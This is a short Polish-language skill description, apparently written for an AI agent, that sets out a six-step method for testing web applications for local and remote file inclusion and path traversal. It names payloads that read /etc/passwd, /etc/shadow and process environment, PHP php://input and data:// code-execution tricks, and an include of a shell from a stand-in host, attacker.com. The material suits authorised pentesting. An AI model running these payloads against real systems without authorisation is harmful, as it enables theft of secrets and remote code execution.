file-inclusion

Skill do testowania podatności związanych z włączaniem plików na serwerach. Pozwala na manipulację parametrami ścieżek dostępu w celu odczytania wrażliwych plików lub wykonania kodu. Obsługuje lokalne włączanie plików (LFI), zdalne włączanie (RFI), path traversal oraz PHP pseudo-protokoły. Przydatny podczas pentestów aplikacji webowych, które mają funkcje czytania plików, przełączania języka, ładowania szablonów lub podglądu dokumentów.

1. Zidentyfikuj parametry podatne na włączanie plików — szukaj parametrów takich jak file=, page=, path=, template=, lang= lub include= w aplikacji docelowej. Zwróć uwagę na funkcje przełączania języka, pobierania dokumentów, podglądu obrazów lub ładowania szablonów.

2. Przeprowadź test path traversal, wysyłając żądania z sekwencjami ../../../ lub ich wariantami (....// lub kodowanymi %2f) w celu dostępu do plików systemowych takich jak /etc/passwd lub /etc/shadow na systemach Linux, bądź C:\Windows\win.ini na Windows.

3. Testuj bezwzględne ścieżki dostępu, jeśli path traversal nie zadziała — spróbuj bezpośrednich ścieżek do plików systemowych, logów aplikacji (/var/log/apache2/access.log) lub zmiennych środowiska (/proc/self/environ).

4. Jeśli aplikacja obsługuje PHP, wykorzystaj pseudo-protokoły — php://filter/convert.base64-encode/resource=index.php do odczytania kodu źródłowego w Base64, lub php://input do wykonania własnego kodu PHP przesłanego w treści żądania POST.

5. Testuj zdalne włączanie plików (RFI), jeśli aplikacja zezwala na zewnętrzne adresy URL — spróbuj dołączyć plik ze swojego serwera (http://attacker.com/shell.txt) lub użyj data:// URI z zakodowanym kodem PHP.

6. Dokumentuj wszystkie znalezione podatności, w tym dokładne parametry, payload'y, które zadziałały, oraz odczytane lub wykonane zawartości — te informacje będą niezbędne do raportowania luki.